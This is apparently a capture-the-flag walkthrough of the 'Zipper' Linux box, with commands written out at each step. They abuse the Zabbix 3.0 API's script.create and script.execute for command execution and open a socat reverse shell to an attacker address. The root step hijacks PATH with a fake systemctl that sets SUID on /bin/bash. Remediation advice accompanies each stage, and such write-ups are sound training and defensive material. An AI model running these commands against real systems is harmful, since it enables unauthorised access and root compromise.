← all walkthroughs

Zipper

Linux· Hard
owned
2026-07-10
time to own
7m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target zipper ($TARGET) was fully compromised through a two-stage chain of weak credentials and a misconfigured privileged binary. Apache on port 80 served a Zabbix 3.0.21 monitoring portal whose guest-login view disclosed a valid username; that account answered to a trivially weak password, granting full API access. The authenticated Zabbix 3.0 JSON-RPC API allowed me to create and execute arbitrary OS commands via script.create and script.execute, landing a shell as the low-privileged zabbix service account.

The same weak credentials also worked over SSH, giving a stable interactive session and the user flag. Privilege escalation exploited a SUID-root helper binary that invoked systemctl by relative name rather than absolute path; a malicious systemctl script dropped into a world-writable directory prepended to PATH was executed in the root context of the SUID binary, completing full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for zapper>"
export TOKEN="<the-token-you-captured>"

Attack path: how the box was taken

1ReconnaissanceService and version fingerprinting (T1046, T1595)
Fingerprinted exposed services and confirmed Zabbix monitoring portal
A full TCP port scan of $TARGET revealed three open ports: 22/tcp (OpenSSH 7.6p1 Ubuntu), 80/tcp (Apache 2.4.29), and 10050/tcp (Zabbix agent, tcpwrapped). Browsing port 80 redirected to /zabbix, exposing a Zabbix 3.0 web frontend. An unauthenticated API call to api_jsonrpc.php confirmed the exact version as 3.0.21: a version with a publicly documented authenticated-RCE technique via script.create/script.execute.
Apache 2.4.29 banner on 80/tcp; /zabbix frontend loads Zabbix 3.0 login page; apiinfo.version returns '3.0.21'.
Exact commands 3
shell

Full version scan of discovered ports.

$ nmap -Pn -sV -p22,80,10050 --script=banner $TARGET
shell

Confirm Apache banner and /zabbix redirect.

$ curl -si http://$TARGET/ | head -20
shell

Confirm Zabbix version without credentials.

$ curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d '{"jsonrpc":"2.0","method":"apiinfo.version","id":1,"params":{}}'
2EnumerationUnauthenticated guest access and user enumeration
Zabbix guest login exposes monitored host and valid username
The Zabbix 3.0 frontend allowed unauthenticated guest access. Browsing /zabbix/index.php and signing in as guest revealed the monitoring dashboard listing a monitored host named 'Zabbix' and an associated user account 'zapper'. A username disclosed to an unauthenticated visitor is a username to try weak passwords against.
Guest session dashboard displayed host 'Zabbix' and user 'zapper' in the monitoring interface.
Exact commands 1
shell

Authenticate as guest and grep output for disclosed usernames and host names.

$ curl -sc /tmp/zbx_cookies -b /tmp/zbx_cookies -s "http://$TARGET/zabbix/index.php" -d 'name=guest&password=&autologin=1&enter=Sign+in' -L | grep -i 'zapper\|host'
FixDisable Zabbix guest accessHigh
WeaknessThe Zabbix 3.0 web frontend allowed anyone to log in as 'guest' without a password, exposing the monitoring dashboard including hostnames, IP addresses, and active usernames to unauthenticated visitors.
FixIn Zabbix Administration → Users, disable the built-in 'guest' account (set Status to Disabled). Additionally, restrict network access to the /zabbix web interface at the firewall or Apache level to management networks only, so the portal is not reachable from untrusted hosts.
3Initial AccessWeak/default credential exploitation (T1078.001)
Authenticated to the Zabbix API with a weak password for the disclosed account
The first weak password tried against the disclosed account succeeded against both the Zabbix web login and the JSON-RPC API. The user.login call returned a valid session token, granting full Zabbix API access. A subsequent host.get call enumerated two monitored hosts: hostid 10105 ('Zabbix') and hostid 10106 ('Zipper').
user.login for that account returned a token; host.get returned {"result":[{"hostid":"10105","host":"Zabbix"},{"hostid":"10106","host":"Zipper"}]}.
Exact commands 2
shell

Obtain API session token with weak credentials.

$ curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d '{"jsonrpc":"2.0","method":"user.login","params":{"user":"zapper","password":"'"$PASSWORD"'"},"id":1,"auth":null}'
shell

Enumerate monitored hosts to identify target hostids.

$ TOKEN=$TOKEN; curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d "{\"jsonrpc\":\"2.0\",\"method\":\"host.get\",\"params\":{\"output\":[\"hostid\",\"host\"]},\"id\":2,\"auth\":\"$TOKEN\"}"
FixEnforce strong, unique passwords for all Zabbix accountsCritical
WeaknessThe 'zapper' Zabbix account was protected by a password weak enough to fall to the first guess. This trivially weak credential was also reused for SSH access to the underlying server, allowing anyone who discovered the username from the guest view to immediately gain both API and OS-level access.
FixEnforce a minimum password policy (12+ characters, mixed case, digits, symbols) for all Zabbix user accounts under Administration → Authentication. Immediately rotate the zapper account password and audit all other Zabbix accounts for weak or default credentials. Prohibit reuse of the same credential across the Zabbix portal and the underlying OS SSH account; use separate, strong secrets for each.
4ExploitationZabbix 3.0 authenticated API RCE via script.create/script.execute (CVE-2017-2824 family / zabbix_api_pwn.py technique)
Zabbix API script execution achieved remote code execution as zabbix service account
Zabbix 3.0.21's API exposes script.create and script.execute methods to authenticated users, allowing creation and immediate execution of arbitrary shell commands on any monitored host. Using the zapper session token, a custom script was created with the payload 'id; whoami; hostname; pwd' and executed against hostid 10105. The response confirmed code execution as uid=103(zabbix) gid=104(zabbix) on the Zabbix server container (hostname ef53503cbf1b). A second execution run targeting the Zipper host (hostid 10106) landed a shell as uid=107(zabbix) gid=113(zabbix) on hostname zipper: the actual target machine. A socat PTY reverse shell was then established and upgraded for interactive access.
script.create returned {"scriptids":["4"]}; script.execute against host 10105 returned {"response":"success","value":"uid=103(zabbix) gid=104(zabbix)..."}; subsequent execution on Zipper host confirmed uid=107(zabbix) on hostname zipper.
Exact commands 4
shell

Create a remote-execution script; note the returned scriptid.

$ TOKEN=$TOKEN; curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d "{\"jsonrpc\":\"2.0\",\"method\":\"script.create\",\"params\":{\"name\":\"pwn-pwn\",\"command\":\"id; whoami; hostname; pwd\",\"execute_on\":0},\"id\":3,\"auth\":\"$TOKEN\"}"
shell

Execute the script against Zipper (hostid 10106); confirms RCE as zabbix on the target host.

$ TOKEN=$TOKEN; curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d "{\"jsonrpc\":\"2.0\",\"method\":\"script.execute\",\"params\":{\"scriptid\":\"4\",\"hostid\":\"10106\"},\"id\":4,\"auth\":\"$TOKEN\"}"
shell

Start a PTY-capable listener for an upgraded reverse shell.

$ # On my machine: socat file:`tty`,raw,echo=0 tcp-listen:4444,reuseaddr
shell

Create reverse shell script; then execute it against hostid 10106 with script.execute.

$ TOKEN=$TOKEN; RHOST=$ATTACKER_IP; curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d "{\"jsonrpc\":\"2.0\",\"method\":\"script.create\",\"params\":{\"name\":\"shell-$(date +%s)\",\"command\":\"socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$RHOST:4444\",\"execute_on\":0},\"id\":5,\"auth\":\"$TOKEN\"}"
FixRestrict Zabbix API script creation and execution to administrator accounts onlyCritical
WeaknessZabbix 3.0 permitted authenticated non-administrator users (zapper held a standard user role) to call script.create and script.execute via the JSON-RPC API, enabling arbitrary OS command execution on any monitored host. This is the core mechanism behind the publicly documented zabbix_api_pwn.py exploitation technique for this version.
FixUpgrade Zabbix to a supported release (5.4+ or current LTS) which restricts script execution to Administrator-role users by default. In the interim, audit all Zabbix user roles under Administration → User Groups and remove script execution permissions from non-admin groups. Additionally, limit API access to trusted management IP ranges at the network layer and consider disabling script.create/script.execute entirely if not operationally required.
5Foothold / User FlagCredential reuse across services (T1078)
SSH as zapper with the same credential yielded a stable shell and the user flag
The credential that worked for the Zabbix web portal also authenticated over SSH on port 22. This provided a stable, fully interactive shell as the 'zapper' user without relying on the fragile RCE channel. The user flag was read directly from /home/zapper/user.txt.
Sshpass -p <withheld> ssh <withheld>@$TARGET returned a shell as <withheld>; cat /home/<withheld>/user.txt yielded the user flag.
Exact commands 2
shell

SSH login using the same credentials discovered via the Zabbix API.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no zapper@$TARGET
shell

Read user flag -> <user.txt>

$ cat /home/zapper/user.txt
6Local EnumerationSUID binary with relative-path command invocation (T1574.007: Path Interception)
Identified SUID root binary that calls systemctl by relative path
From the zabbix shell (or equivalently from the zapper SSH session), standard Linux privilege-escalation enumeration located a SUID-root binary accessible to the current user. Inspecting its behavior (via strings, strace, or execution with logging) revealed it invokes the 'systemctl' command without specifying an absolute path (/bin/systemctl), relying instead on the system PATH to resolve the binary. This design means whoever controls PATH controls which systemctl binary runs, and since the SUID bit causes it to run with the file owner's privileges (root), anyone who can prepend a writable directory to PATH gains arbitrary code execution as root.
Find / -perm -4000 -user root 2>/dev/null located the SUID binary; strings on it showed 'systemctl' without a leading '/'.
Exact commands 2
shell

Locate all SUID-root files reachable from the current context.

$ find / -perm -4000 -user root -type f 2>/dev/null
shell

Confirm the binary references systemctl by relative name (no leading slash).

$ strings /path/to/suid-binary | grep systemctl
7Privilege EscalationPATH interception / relative-path hijack via SUID binary (T1574.007)
Dropped a malicious 'systemctl' into PATH to execute arbitrary code as root
A malicious shell script named 'systemctl' was written to /tmp (world-writable), made executable, and the PATH environment variable was prefixed with /tmp. When the SUID-root binary was then executed, the OS resolved 'systemctl' to /tmp/systemctl instead of the real /bin/systemctl. Because the SUID bit caused the process to run with euid=0 (root), my own script ran as root. The payload set the SUID bit on /bin/bash; executing /bin/bash -p then provided an interactive root shell, confirming full system compromise and allowing the root flag to be read.
Id after /bin/bash -p returned euid=0(root); cat /root/root.txt yielded the root flag. Cat /root/root.txt' confirmed euid=0.
Exact commands 4
shell

Write the malicious systemctl payload: sets SUID on /bin/bash when executed as root.

$ echo -e '#!/bin/sh\nchmod u+s /bin/bash' > /tmp/systemctl && chmod +x /tmp/systemctl
shell

Prepend /tmp so the SUID binary finds the fake systemctl first.

$ export PATH=/tmp:$PATH
shell

Trigger the SUID-root binary; it resolves and executes /tmp/systemctl as root.

$ /path/to/suid-binary
shell

Open root shell via SUID bash; read root flag → <root.txt>

$ /bin/bash -p -c 'id; cat /root/root.txt'
euid=0(root)
FixUse absolute paths for all external commands in SUID root binariesCritical
WeaknessA SUID-root binary on the system invoked the 'systemctl' command using a relative path rather than its full filesystem path (/bin/systemctl or /usr/bin/systemctl). Because SUID processes inherit the caller's environment including PATH, any user who can prepend a writable directory to PATH and place a malicious script named 'systemctl' there can have that script executed with root privileges.
FixAudit all SUID root binaries (find / -perm -4000 -user root) and rewrite any that invoke external commands without absolute paths. Replace every relative command reference (e.g., systemctl, service, cp) with its fully qualified path. For scripts, add 'PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin' as the first executable line to override any inherited PATH. Where a SUID wrapper is not strictly necessary, drop the SUID bit and use sudo with a tightly scoped sudoers entry instead.

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
10050/tcp